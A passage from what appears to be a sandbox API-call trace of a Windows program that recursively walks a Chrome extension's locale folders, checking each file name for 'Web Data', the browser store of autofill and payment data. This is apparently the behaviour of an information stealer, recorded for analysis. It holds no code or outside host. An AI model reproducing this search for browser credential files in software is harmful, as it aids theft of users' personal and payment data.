lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\lv\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.404] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.404] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.405] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.405] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.405] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.405] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.405] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.405] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.405] LocalFree (hMem=0x2e0100) returned 0x0 [0056.405] LocalFree (hMem=0x2e0210) returned 0x0 [0056.405] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.405] lstrcmpiA (lpString1=".", lpString2="ms") returned -1 [0056.405] lstrcmpiA (lpString1="..", lpString2="ms") returned -1 [0056.405] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales") returned 128 [0056.405] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales") returned 128 [0056.405] lstrlenA (lpString="\\") returned 1 [0056.405] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2e0100 [0056.405] lstrcpyA (in: lpString1=0x2e0100, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales" [0056.405] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\" [0056.405] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\") returned 129 [0056.405] lstrlenA (lpString="ms") returned 2 [0056.405] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2e0210 [0056.405] lstrcpyA (in: lpString1=0x2e0210, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\" [0056.405] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\", lpString2="ms" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ms") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ms" [0056.405] LocalFree (hMem=0x2e0100) returned 0x0 [0056.405] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ms") returned 131 [0056.405] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ms") returned 131 [0056.405] lstrlenA (lpString="\\*.*") returned 4 [0056.405] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2e0100 [0056.405] lstrcpyA (in: lpString1=0x2e0100, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ms" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ms") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ms" [0056.405] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ms", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ms\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ms\\*.*" [0056.405] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ms\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.405] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.405] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.405] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.405] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.405] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.405] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.405] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.405] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.406] LocalFree (hMem=0x2e0100) returned 0x0 [0056.406] LocalFree (hMem=0x2e0210) returned 0x0 [0056.406] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.406] lstrcmpiA (lpString1=".", lpString2="nl") returned -1 [0056.406] lstrcmpiA (lpString1="..", lpString2="nl") returned -1 [0056.406] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales") returned 128 [0056.406] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales") returned 128 [0056.406] lstrlenA (lpString="\\") returned 1 [0056.406] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2e0100 [0056.406] lstrcpyA (in: lpString1=0x2e0100, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales" [0056.406] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\" [0056.406] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\") returned 129 [0056.406] lstrlenA (lpString="nl") returned 2 [0056.406] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2e0210 [0056.406] lstrcpyA (in: lpString1=0x2e0210, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\" [0056.406] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\", lpString2="nl" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\nl") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\nl" [0056.406] LocalFree (hMem=0x2e0100) returned 0x0 [0056.406] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\nl") returned 131 [0056.406] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\nl") returned 131 [0056.406] lstrlenA (lpString="\\*.*") returned 4 [0056.406] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2e0100 [0056.406] lstrcpyA (in: lpString1=0x2e0100, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\nl" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\nl") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\nl" [0056.406] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\nl", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\nl\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\nl\\*.*" [0056.406] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\nl\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.406] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.406] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.406] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.406] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.406] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.406] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.407] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.407] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.407] LocalFree (hMem=0x2e0100) returned 0x0 [0056.407] LocalFree (hMem=0x2e0210) returned 0x0 [0056.407] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.407] lstrcmpiA (lpString1=".", lpString2="no") returned -1 [0056.407] lstrcmpiA (lpString1="..", lpString2="no") returned -1 [0056.407] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales") returned 128 [0056.407] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales") returned 128 [0056.407] lstrlenA (lpString="\\") returned 1 [0056.407] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2e0100 [0056.407] lstrcpyA (in: lpString1=0x2e0100, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales" [0056.407] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\" [0056.407] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\") returned 129 [0056.407] lstrlenA (lpString="no") returned 2 [0056.407] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2e0210 [0056.407] lstrcpyA (in: lpString1=0x2e0210, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\" [0056.407] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\", lpString2="no" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\no") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\no" [0056.407] LocalFree (hMem=0x2e0100) returned 0x0 [0056.407] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\no") returned 131 [0056.407] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\no") returned 131 [0056.407] lstrlenA (lpString="\\*.*") returned 4 [0056.407] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2e0100 [0056.407] lstrcpyA (in: lpString1=0x2e0100, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\no" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\no") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\no" [0056.407] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\no", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\no\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\no\\*.*" [0056.407] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\no\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.407] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.407] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.407] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.407] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.407] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.407] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.407] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.407] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.408] LocalFree (hMem=0x2e0100) returned 0x0 [0056.408] LocalFree (hMem=0x2e0210) returned 0x0 [0056.408] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.408] lstrcmpiA (lpString1=".", lpString2="pl") returned -1 [0056.408] lstrcmpiA (lpString1="..", lpString2="pl") returned -1 [0056.408] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales") returned 128 [0056.408] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales") returned 128 [0056.408] lstrlenA (lpString="\\") returned 1 [0056.408] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2e0100 [0056.408] lstrcpyA (in: lpString1=0x2e0100, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales" [0056.408] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\" [0056.408] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\") returned 129 [0056.408] lstrlenA (lpString="pl") returned 2 [0056.408] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2e0210 [0056.408] lstrcpyA (in: lpString1=0x2e0210, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\" [0056.408] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\", lpString2="pl" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pl") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pl" [0056.408] LocalFree (hMem=0x2e0100) returned 0x0 [0056.408] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pl") returned 131 [0056.408] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pl") returned 131 [0056.408] lstrlenA (lpString="\\*.*") returned 4 [0056.408] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2e0100 [0056.408] lstrcpyA (in: lpString1=0x2e0100, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pl" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pl") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pl" [0056.408] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pl", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pl\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pl\\*.*" [0056.408] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pl\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.408] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.408] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.408] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.408] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.408] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.408] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.408] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.408] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.408] LocalFree (hMem=0x2e0100) returned 0x0 [0056.408] LocalFree (hMem=0x2e0210) returned 0x0 [0056.408] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.408] lstrcmpiA (lpString1=".", lpString2="pt_BR") returned -1 [0056.408] lstrcmpiA (lpString1="..", lpString2="pt_BR") returned -1 [0056.408] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User 